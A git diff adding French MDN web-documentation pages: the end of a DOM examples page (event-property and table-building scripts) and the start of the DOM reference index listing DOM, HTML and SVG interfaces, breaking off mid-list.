+  <span class="keyword token">var</span> e <span class="operator token">=</span> e <span class="operator token">||</span> window<span class="punctuation token">.</span>event<span class="punctuation token">;</span>
+  document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'eventType'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> e<span class="punctuation token">.</span>type<span class="punctuation token">;</span>
+
+  <span class="keyword token">var</span> table <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">'table'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> thead <span class="operator token">=</span> table<span class="punctuation token">.</span><span class="function token">createTHead</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> row <span class="operator token">=</span> thead<span class="punctuation token">.</span><span class="function token">insertRow</span><span class="punctuation token">(</span><span class="operator token">-</span><span class="number token">1</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> lableList <span class="operator token">=</span> <span class="punctuation token">[</span><span class="string token">'#'</span><span class="punctuation token">,</span> <span class="string token">'Property'</span><span class="punctuation token">,</span> <span class="string token">'Value'</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> len <span class="operator token">=</span> lableList<span class="punctuation token">.</span>length<span class="punctuation token">;</span>
+
+  <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> i<span class="operator token">=</span><span class="number token">0</span><span class="punctuation token">;</span> i<span class="operator token">&lt;</span>len<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="function token">addCell</span><span class="punctuation token">(</span>row<span class="punctuation token">,</span> lableList<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="keyword token">var</span> tbody <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">'tbody'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  table<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>tbody<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> p <span class="keyword token">in</span> e<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    row <span class="operator token">=</span> tbody<span class="punctuation token">.</span><span class="function token">insertRow</span><span class="punctuation token">(</span><span class="operator token">-</span><span class="number token">1</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    row<span class="punctuation token">.</span>className <span class="operator token">=</span> <span class="punctuation token">(</span>row<span class="punctuation token">.</span>rowIndex <span class="operator token">%</span> <span class="number token">2</span><span class="punctuation token">)</span><span class="operator token">?</span> <span class="string token">'odd'</span><span class="punctuation token">:</span><span class="string token">'even'</span><span class="punctuation token">;</span>
+    <span class="function token">addCell</span><span class="punctuation token">(</span>row<span class="punctuation token">,</span> row<span class="punctuation token">.</span>rowIndex<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="function token">addCell</span><span class="punctuation token">(</span>row<span class="punctuation token">,</span> p<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="function token">addCell</span><span class="punctuation token">(</span>row<span class="punctuation token">,</span> e<span class="punctuation token">[</span>p<span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>table<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+window<span class="punctuation token">.</span>onload <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span><span class="punctuation token">{</span>
+  <span class="function token">showEventProperties</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h1</span><span class="punctuation token">&gt;</span></span>Properties of the DOM <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>span</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>eventType<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>span</span><span class="punctuation token">&gt;</span></span> Event Object<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h1</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h2 id="Exemple_8_:_utilisation_de_l.27interface_DOM_Table" name="Exemple_8_:_utilisation_de_l.27interface_DOM_Table">Exemple 8 : utilisation de l'interface DOM Table</h2>
+
+<p>L'interface DOM HTMLTableElement fournit certaines méthodes utilitaires permettant de créer et de manipuler des tableaux. Deux méthodes utilisées fréquemment sont {{domxref("HTMLTableElement.insertRow")}} et {{domxref("tableRow.insertCell")}}</p>
+
+<p>Pour ajouter une ligne et quelques cellules à un tableau existant :</p>
+
+<pre class="brush:html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>table</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>table0<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>tr</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>td</span><span class="punctuation token">&gt;</span></span>Row 0 Cell 0<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>td</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>td</span><span class="punctuation token">&gt;</span></span>Row 0 Cell 1<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>td</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>tr</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>table</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+<span class="keyword token">var</span> table <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'table0'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> row <span class="operator token">=</span> table<span class="punctuation token">.</span><span class="function token">insertRow</span><span class="punctuation token">(</span><span class="operator token">-</span><span class="number token">1</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> cell<span class="punctuation token">,</span>
+    text<span class="punctuation token">;</span>
+
+<span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> <span class="number token">2</span><span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  cell <span class="operator token">=</span> row<span class="punctuation token">.</span><span class="function token">insertCell</span><span class="punctuation token">(</span><span class="operator token">-</span><span class="number token">1</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  text <span class="operator token">=</span> <span class="string token">'Row '</span> <span class="operator token">+</span> row<span class="punctuation token">.</span>rowIndex <span class="operator token">+</span> <span class="string token">' Cell '</span> <span class="operator token">+</span> i<span class="punctuation token">;</span>
+  cell<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>document<span class="punctuation token">.</span><span class="function token">createTextNode</span><span class="punctuation token">(</span>text<span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h4 id="Notes" name="Notes">Notes</h4>
+
+<ul>
+ <li>N'utilisez jamais la propriété {{domxref("element.innerHTML","innerHTML")}} d'un tableau pour le modifier, même si vous pouvez l'utiliser pour créer un tableau entier ou le contenu d'une cellule.</li>
+ <li>Si vous utilisez les méthodes DOM Core {{domxref("document.createElement")}} et {{domxref("Node.appendChild")}} pour créer des lignes et cellules de tableau, il est nécessaire de les ajouter à un élément <code>tbody</code> dans Internet Explorer, tandis que les autres navigateurs vous permettront de les ajouter à un élément <code>table</code> (les lignes seront ajoutées au dernier élément <code>tbody</code>).</li>
+ <li>Un certain nombre d'autres méthodes utilitaires faisant partie de l'<a href="https://developer.mozilla.org/fr/docs/Web/API/HTMLTableElement#M%C3%A9thodes">interface table</a> peuvent être utilisées pour créer et modifier des tableaux.</li>
+</ul>
+
+<h2 id="Subnav">Subnav</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model">Référence DOM</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model/Introduction">Introduction à DOM</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model/Events">Les événements et DOM</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model/Exemples">Exemples</a></li>
+</ul>
diff --git a/files/fr/web/api/document_object_model/index.html b/files/fr/web/api/document_object_model/index.html
new file mode 100644
index 0000000000..cf44a48c6d
--- /dev/null
+++ b/files/fr/web/api/document_object_model/index.html
@@ -0,0 +1,428 @@
+---
+title: Référence du DOM
+slug: Web/API/Document_Object_Model
+tags:
+  - API
+  - DOM
+  - Intermédiaire
+  - Référence(2)
+translation_of: Web/API/Document_Object_Model
+---
+<div>{{DefaultAPISidebar("DOM")}}</div>
+
+<p>Le <em><strong>Document Object Model</strong></em> ou <strong>DOM</strong> (pour modèle objet de document) est une interface de programmation pour les documents HTML, XML et SVG. Il fournit une représentation structurée du document sous forme d'un arbre et définit la façon dont la structure peut être manipulée par les programmes, en termes de style et de contenu. Le DOM représente le document comme un ensemble de nœuds et d'objets possédant des propriétés et des méthodes. Les nœuds peuvent également avoir des gestionnaires d'événements qui se déclenchent lorsqu'un événement se produit. Cela permet de manipuler des pages web grâce à des scripts et/ou des langages de programmation. <span id="result_box" lang="fr"><span>Les nœuds peuvent être associés à des gestionnaires d'événements.</span> <span>Une fois qu'un événement est déclenché, les gestionnaires d'événements sont exécutés.</span></span></p>
+
+<p>Pour mieux comprendre le fonctionnement du DOM, <a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model/Introduction">une introduction est disponible</a>.</p>
+
+<h2 id="Interfaces_du_DOM">Interfaces du DOM</h2>
+
+<div class="index">
+<ul>
+ <li>{{domxref("Attr")}}</li>
+ <li>{{domxref("CharacterData")}}</li>
+ <li>{{domxref("ChildNode")}} {{experimental_inline}}</li>
+ <li>{{domxref("Comment")}}</li>
+ <li>{{domxref("CustomEvent")}}</li>
+ <li>{{domxref("Document")}}</li>
+ <li>{{domxref("DocumentFragment")}}</li>
+ <li>{{domxref("DocumentType")}}</li>
+ <li>{{domxref("DOMError")}}  {{deprecated_inline}}</li>
+ <li>{{domxref("DOMException")}}</li>
+ <li>{{domxref("DOMImplementation")}}</li>
+ <li>{{domxref("DOMString")}}</li>
+ <li>{{domxref("DOMTimeStamp")}}</li>
+ <li>{{domxref("DOMSettableTokenList")}}</li>
+ <li>{{domxref("DOMStringList")}}</li>
+ <li>{{domxref("DOMTokenList")}}</li>
+ <li>{{domxref("Element")}}</li>
+ <li>{{domxref("EventTarget")}}</li>
+ <li>{{domxref("HTMLCollection")}}</li>
+ <li>{{domxref("MutationObserver")}}</li>
+ <li>{{domxref("Event")}}</li>
+ <li>{{domxref("MutationRecord")}}</li>
+ <li>{{domxref("NamedNodeMap")}}</li>
+ <li>{{domxref("Node")}}</li>
+ <li>{{domxref("NodeFilter")}}</li>
+ <li>{{domxref("NodeIterator")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+ <li>{{domxref("NonDocumentTypeChildNode")}}</li>
+ <li>{{domxref("ParentNode")}}</li>
+ <li>{{domxref("ProcessingInstruction")}}</li>
+ <li>{{domxref("Selection")}}{{experimental_inline}}</li>
+ <li>{{domxref("Range")}}</li>
+ <li>{{domxref("Text")}}</li>
+ <li>{{domxref("TextDecoder")}} {{experimental_inline}}</li>
+ <li>{{domxref("TextEncoder")}} {{experimental_inline}}</li>
+ <li>{{domxref("TimeRanges")}}</li>
+ <li>{{domxref("TreeWalker")}}</li>
+ <li>{{domxref("URL")}}</li>
+ <li>{{domxref("Window")}}</li>
+ <li>{{domxref("Worker")}}</li>
+ <li>{{domxref("XMLDocument")}} {{experimental_inline}}</li>
+</ul>
+</div>
+
+<h2 id="Interfaces_obsolètes_du_DOM_obsolete_inline">Interfaces obsolètes du DOM {{obsolete_inline}}</h2>
+
+<p>Le DOM a été simplifié au cours du temps. Pour cette raison, les interfaces qui suivent, présentes dans la spécification du DOM de niveau 3 ou des niveaux antérieurs, ont été supprimées. Bien qu'il ne soit pas certain qu'elles ne soient pas réintroduites, elles doivent être considérées comme obsolètes et il faut éviter de les utiliser :</p>
+
+<div class="index">
+<ul>
+ <li>{{domxref("CDATASection")}}</li>
+ <li>{{domxref("DocumentTouch")}}</li>
+ <li>{{domxref("DOMConfiguration")}}</li>
+ <li>{{domxref("DOMErrorHandler")}}</li>
+ <li>{{domxref("DOMImplementationList")}}</li>
+ <li>{{domxref("DOMImplementationRegistry")}}</li>
+ <li>{{domxref("DOMImplementationSource")}}</li>
+ <li>{{domxref("DOMLocator")}}</li>
+ <li>{{domxref("DOMObject")}}</li>
+ <li>{{domxref("DOMUserData")}}</li>
+ <li>{{domxref("ElementTraversal")}}</li>
+ <li>{{domxref("Entity")}}</li>
+ <li>{{domxref("EntityReference")}}</li>
+ <li>{{domxref("NamedNodeMap")}}</li>
+ <li>{{domxref("NameList")}}</li>
+ <li>{{domxref("Notation")}}</li>
+ <li>{{domxref("TypeInfo")}}</li>
+ <li>{{domxref("UserDataHandler")}}</li>
+</ul>
+</div>
+
+<h2 id="Interfaces_HTML">Interfaces HTML</h2>
+
+<p>Un document contenant du HTML est décrit grâce à l'interface {{domxref("HTMLDocument")}}. On notera que la spécification HTML étend également l'interface {{domxref("Document")}}.</p>
+
+<p>Un objet <code>HTMLDocument</code> donne également accès à différentes fonctionnalités liées au navigateur comme l'onglet ou la fenêtre dans laquelle la page est dessinée, notamment grâce à l'interface {{domxref("Window")}}. On peut accéder à la mise en forme de la page via {{domxref("window.style")}} (généralement le CSS associé au document), à l'historique de navigation relatif au contexte via {{domxref("window.history")}} et enfin à la sélection faite dans le document via {{domxref("Selection")}}.</p>
+
+<h3 id="Interfaces_des_éléments_HTML">Interfaces des éléments HTML</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("HTMLAnchorElement")}}</li>
+ <li>{{domxref("HTMLAppletElement")}}</li>
+ <li>{{domxref("HTMLAreaElement")}}</li>
+ <li>{{domxref("HTMLAudioElement")}}</li>
+ <li>{{domxref("HTMLBaseElement")}}</li>
+ <li>{{domxref("HTMLBodyElement")}}</li>
+ <li>{{domxref("HTMLBRElement")}}</li>
+ <li>{{domxref("HTMLButtonElement")}}</li>
+ <li>{{domxref("HTMLCanvasElement")}}</li>
+ <li>{{domxref("HTMLDataElement")}}</li>
+ <li>{{domxref("HTMLDataListElement")}}</li>
+ <li>{{domxref("HTMLDialogElement")}}</li>
+ <li>{{domxref("HTMLDirectoryElement")}}</li>
+ <li>{{domxref("HTMLDivElement")}}</li>
+ <li>{{domxref("HTMLDListElement")}}</li>
+ <li>{{domxref("HTMLElement")}}</li>
+ <li>{{domxref("HTMLEmbedElement")}}</li>
+ <li>{{domxref("HTMLFieldSetElement")}}</li>
+ <li>{{domxref("HTMLFontElement")}}</li>
+ <li>{{domxref("HTMLFormElement")}}</li>
+ <li>{{domxref("HTMLFrameElement")}}</li>
+ <li>{{domxref("HTMLFrameSetElement")}}</li>
+ <li>{{domxref("HTMLHeadElement")}}</li>
+ <li>{{domxref("HTMLHeadingElement")}}</li>
+ <li>{{domxref("HTMLHtmlElement")}}</li>
+ <li>{{domxref("HTMLHRElement")}}</li>
+ <li>{{domxref("HTMLIFrameElement")}}</li>
+ <li>{{domxref("HTMLImageElement")}}</li>
+ <li>{{domxref("HTMLInputElement")}}</li>
+ <li>{{domxref("HTMLKeygenElement")}}</li>
+ <li>{{domxref("HTMLLabelElement")}}</li>
+ <li>{{domxref("HTMLLegendElement")}}</li>
+ <li>{{domxref("HTMLLIElement")}}</li>
+ <li>{{domxref("HTMLLinkElement")}}</li>
+ <li>{{domxref("HTMLMapElement")}}</li>
+ <li>{{domxref("HTMLMediaElement")}}</li>
+ <li>{{domxref("HTMLMenuElement")}}</li>
+ <li>{{domxref("HTMLMetaElement")}}</li>
+ <li>{{domxref("HTMLMeterElement")}}</li>
+ <li>{{domxref("HTMLModElement")}}</li>
+ <li>{{domxref("HTMLObjectElement")}}</li>
+ <li>{{domxref("HTMLOListElement")}}</li>
+ <li>{{domxref("HTMLOptGroupElement")}}</li>
+ <li>{{domxref("HTMLOptionElement")}}</li>
+ <li>{{domxref("HTMLOutputElement")}}</li>
+ <li>{{domxref("HTMLParagraphElement")}}</li>
+ <li>{{domxref("HTMLParamElement")}}</li>
+ <li>{{domxref("HTMLPreElement")}}</li>
+ <li>{{domxref("HTMLProgressElement")}}</li>
+ <li>{{domxref("HTMLQuoteElement")}}</li>
+ <li>{{domxref("HTMLScriptElement")}}</li>
+ <li>{{domxref("HTMLSelectElement")}}</li>
+ <li>{{domxref("HTMLSourceElement")}}</li>
+ <li>{{domxref("HTMLSpanElement")}}</li>
+ <li>{{domxref("HTMLStyleElement")}}</li>
+ <li>{{domxref("HTMLTableElement")}}</li>
+ <li>{{domxref("HTMLTableCaptionElement")}}</li>
+ <li>{{domxref("HTMLTableCellElement")}}</li>
+ <li>{{domxref("HTMLTableDataCellElement")}}</li>
+ <li>{{domxref("HTMLTableHeaderCellElement")}}</li>
+ <li>{{domxref("HTMLTableColElement")}}</li>
+ <li>{{domxref("HTMLTableRowElement")}}</li>
+ <li>{{domxref("HTMLTableSectionElement")}}</li>
+ <li>{{domxref("HTMLTextAreaElement")}}</li>
+ <li>{{domxref("HTMLTimeElement")}}</li>
+ <li>{{domxref("HTMLTitleElement")}}</li>
+ <li>{{domxref("HTMLTrackElement")}}</li>
+ <li>{{domxref("HTMLUListElement")}}</li>
+ <li>{{domxref("HTMLUnknownElement")}}</li>
+ <li>{{domxref("HTMLVideoElement")}}</li>
+</ul>
+</div>
+
+<h3 id="Autres_interfaces">Autres interfaces</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasGradient")}}</li>
+ <li>{{domxref("CanvasPattern")}}</li>
+ <li>{{domxref("TextMetrics")}}</li>
+ <li>{{domxref("ImageData")}}</li>
+ <li>{{domxref("CanvasPixelArray")}}</li>
+ <li>{{domxref("NotifyAudioAvailableEvent")}}</li>
+ <li>{{domxref("HTMLAllCollection")}}</li>
+ <li>{{domxref("HTMLFormControlsCollection")}}</li>
+ <li>{{domxref("HTMLOptionsCollection")}}</li>
+ <li>{{domxref("HTMLPropertiesCollection")}}</li>
+ <li>{{domxref("DOMStringMap")}}</li>
+ <li>{{domxref("RadioNodeList")}}</li>
+ <li>{{domxref("MediaError")}}</li>
+</ul>
+</div>
+
+<h3 id="Interfaces_HTML_obsolètes_obsolete_inline">Interfaces HTML obsolètes {{obsolete_inline}}</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("HTMLBaseFontElement")}}</li>
+ <li>{{domxref("HTMLIsIndexElement")}}</li>
+</ul>
+</div>
+
+<h2 id="Interfaces_SVG"><a id="SVG_interfaces" name="SVG_interfaces">Interfaces SVG</a></h2>
+
+<h3 id="Interfaces_des_éléments_SVG">Interfaces des éléments SVG</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("SVGAElement")}}</li>
+ <li>{{domxref("SVGAltGlyphElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGAltGlyphDefElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGAltGlyphItemElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGAnimationElement")}}</li>
+ <li>{{domxref("SVGAnimateElement")}}</li>
+ <li>{{domxref("SVGAnimateColorElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGAnimateMotionElement")}}</li>
+ <li>{{domxref("SVGAnimateTransformElement")}}</li>
+ <li>{{domxref("SVGCircleElement")}}</li>
+ <li>{{domxref("SVGClipPathElement")}}</li>
+ <li>{{domxref("SVGColorProfileElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGComponentTransferFunctionElement")}}</li>
+ <li>{{domxref("SVGCursorElement")}}</li>
+ <li>{{domxref("SVGDefsElement")}}</li>
+ <li>{{domxref("SVGDescElement")}}</li>
+ <li>{{domxref("SVGElement")}}</li>
+ <li>{{domxref("SVGEllipseElement")}}</li>
+ <li>{{domxref("SVGFEBlendElement")}}</li>
+ <li>{{domxref("SVGFEColorMatrixElement")}}</li>
+ <li>{{domxref("SVGFEComponentTransferElement")}}</li>
+ <li>{{domxref("SVGFECompositeElement")}}</li>
+ <li>{{domxref("SVGFEConvolveMatrixElement")}}</li>
+ <li>{{domxref("SVGFEDiffuseLightingElement")}}</li>
+ <li>{{domxref("SVGFEDisplacementMapElement")}}</li>
+ <li>{{domxref("SVGFEDistantLightElement")}}</li>
+ <li>{{domxref("SVGFEDropShadowElement")}}</li>
+ <li>{{domxref("SVGFEFloodElement")}}</li>
+ <li>{{domxref("SVGFEFuncAElement")}}</li>
+ <li>{{domxref("SVGFEFuncBElement")}}</li>
+ <li>{{domxref("SVGFEFuncGElement")}}</li>
+ <li>{{domxref("SVGFEFuncRElement")}}</li>
+ <li>{{domxref("SVGFEGaussianBlurElement")}}</li>
+ <li>{{domxref("SVGFEImageElement")}}</li>
+ <li>{{domxref("SVGFEMergeElement")}}</li>
+ <li>{{domxref("SVGFEMergeNodeElement")}}</li>
+ <li>{{domxref("SVGFEMorphologyElement")}}</li>
+ <li>{{domxref("SVGFEOffsetElement")}}</li>
+ <li>{{domxref("SVGFEPointLightElement")}}</li>
+ <li>{{domxref("SVGFESpecularLightingElement")}}</li>
+ <li>{{domxref("SVGFESpotLightElement")}}</li>
+ <li>{{domxref("SVGFETileElement")}}</li>
+ <li>{{domxref("SVGFETurbulenceElement")}}</li>
+ <li>{{domxref("SVGFilterElement")}}</li>
+ <li>{{domxref("SVGFilterPrimitiveStandardAttributes")}}</li>
+ <li>{{domxref("SVGFontElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGFontFaceElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGFontFaceFormatElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGFontFaceNameElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGFontFaceSrcElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGFontFaceUriElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGForeignObjectElement")}}</li>
+ <li>{{domxref("SVGGElement")}}</li>
+ <li>{{domxref("SVGGeometryElement")}}</li>
+ <li>{{domxref("SVGGlyphElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGGlyphRefElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGGradientElement")}}</li>
+ <li>{{domxref("SVGGraphicsElement")}}</li>
+ <li>{{domxref("SVGHatchElement")}} {{experimental_inline}}</li>
+ <li>{{domxref("SVGHatchpathElement")}} {{experimental_inline}}</li>
+ <li>{{domxref("SVGHKernElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGImageElement")}}</li>
+ <li>{{domxref("SVGLinearGradientElement")}}</li>
+ <li>{{domxref("SVGLineElement")}}</li>
+ <li>{{domxref("SVGMarkerElement")}} {{experimental_inline}}</li>
+ <li>{{domxref("SVGMaskElement")}}</li>
+ <li>{{domxref("SVGMeshElement")}} {{experimental_inline}}</li>
+ <li>{{domxref("SVGMeshGradientElement")}} {{experimental_inline}}</li>
+ <li>{{domxref("SVGMeshpatchElement")}} {{experimental_inline}}</li>
+ <li>{{domxref("SVGMeshrowElement")}} {{experimental_inline}}</li>
+ <li>{{domxref("SVGMetadataElement")}}</li>
+ <li>{{domxref("SVGMissingGlyphElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGMPathElement")}}</li>
+ <li>{{domxref("SVGPathElement")}}</li>
+ <li>{{domxref("SVGPatternElement")}}</li>
+ <li>{{domxref("SVGPolylineElement")}}</li>
+ <li>{{domxref("SVGPolygonElement")}}</li>
+ <li>{{domxref("SVGRadialGradientElement")}}</li>
+ <li>{{domxref("SVGRectElement")}}</li>
+ <li>{{domxref("SVGScriptElement")}}</li>
+ <li>{{domxref("SVGSetElement")}}</li>
+ <li>{{domxref("SVGSolidcolorElement")}} {{experimental_inline}}</li>
+ <li>{{domxref("SVGStopElement")}}</li>
+ <li>{{domxref("SVGStyleElement")}}</li>
+ <li>{{domxref("SVGSVGElement")}}</li>
+ <li>{{domxref("SVGSwitchElement")}}</li>
+ <li>{{domxref("SVGSymbolElement")}}</li>
+ <li>{{domxref("SVGTextContentElement")}}</li>
+ <li>{{domxref("SVGTextElement")}}</li>
+ <li>{{domxref("SVGTextPathElement")}}</li>
+ <li>{{domxref("SVGTextPositioningElement")}}</li>
+ <li>{{domxref("SVGTitleElement")}}</li>
+ <li>{{domxref("SVGTRefElement")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGTSpanElement")}}</li>
+ <li>{{domxref("SVGUseElement")}}</li>
+ <li>{{domxref("SVGUnknownElement")}} {{experimental_inline}}</li>
+ <li>{{domxref("SVGViewElement")}}</li>
+ <li>{{domxref("SVGVKernElement")}} {{deprecated_inline}}</li>
+</ul>
+</div>
+
+<h3 id="Interfaces_pour_les_types_de_donnée_SVG">Interfaces pour les types de donnée SVG</h3>
+
+<p>Voici l'API du DOM pour les types de donnée utilisés pour les propriétés et attributs SVG.</p>
+
+<div class="note">
+<p><strong>Note :</strong> À partir de {{Gecko("5.0")}}, les interfaces suivantes relatives à SVG et qui représentent des listes d'objets sont indexées et permettent d'y accéder. Elles possèdent en plus une propriété de longueur qui indique le nombre d'éléments dans la liste : {{domxref("SVGLengthList")}}, {{domxref("SVGNumberList")}}, {{domxref("SVGPathSegList")}} et {{domxref("SVGPointList")}}.</p>
+</div>
+
+<h4 id="Interfaces_statiques">Interfaces statiques</h4>
+
+<div class="index">
+<ul>
+ <li>{{domxref("SVGAngle")}}</li>
+ <li>{{domxref("SVGColor")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGICCColor")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGElementInstance")}}</li>
+ <li>{{domxref("SVGElementInstanceList")}}</li>
+ <li>{{domxref("SVGLength")}}</li>
+ <li>{{domxref("SVGLengthList")}}</li>
+ <li>{{domxref("SVGMatrix")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGNameList")}}</li>
+ <li>{{domxref("SVGNumber")}}</li>
+ <li>{{domxref("SVGNumberList")}}</li>
+ <li>{{domxref("SVGPaint")}}</li>
+ <li>{{domxref("SVGPathSeg")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegClosePath")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegMovetoAbs")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegMovetoRel")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegLinetoAbs")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegLinetoRel")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegCurvetoCubicAbs")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegCurvetoCubicRel")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegCurvetoQuadraticAbs")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegCurvetoQuadraticRel")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegArcAbs")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegArcRel")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegLinetoHorizontalAbs")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegLinetoHorizontalRel")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegLinetoVerticalAbs")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegLinetoVerticalRel")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegCurvetoCubicSmoothAbs")}} {{deprecated_inline}}</li>
